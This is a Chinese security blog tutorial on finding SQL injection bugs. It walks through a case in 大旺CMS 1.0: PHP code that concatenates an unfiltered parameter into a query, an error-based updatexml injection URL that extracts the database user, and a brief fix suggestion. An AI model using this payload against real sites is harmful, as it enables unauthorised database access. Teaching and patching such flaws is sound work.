蜗蜗侠's Blog-关注网络安全移动版

主页 > 黑客/白帽 > WEB安全 >

如何挖掘sql注入漏洞

如何挖掘SQL注入漏洞

0x01  前言   
     该讲的都讲差不多了,再讲讲注入吧,相信你们都很熟悉。因为知识点多,就分几节来讲完。这篇文章讲的是啥都没过滤的情况。

0x02  什么是sql注入漏洞
     sql注入攻击黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不 齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回 的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。


0x03  sql注入的危害   
     sql injection的危害就是攻击者不仅可以获取你的网站数据,还可以直接生成网站后门,后门程序可以得到web用户的所有权限,包括对数据库的增删改查,文件的修改等。


0x04  实战案例   
本次的案例:大旺CMS 1.0
/app/Home/Controller/IndexController.class.php
参数cname没过滤,直接拼接了,可以直接注入

[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
public function clist($cname){
                 //下面这段有些地方要加上这个编码才可以
                //$cname=mb_convert_encoding($cname, "UTF-8", "GBK");  
                //上面这段有些地方要加上这个编码可
        
                ///---------------------------------
                $article=M("article");
                $count      = $article->where("classname='$cname'")->count();
                $classdata=M("class")->where("classname='$cname'")->find();

     
http://127.0.0.1/dwcms/index.php/home/index/clist/cname/111') and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- 1


1.jpg (183.79 KB, 下载次数: 3)

下载附件  保存到相册

2016-8-3 02:57 上传


0x05  修复建议   
     过滤危险字符,使用预编译进行增删改查 (责任编辑:蜗蜗侠)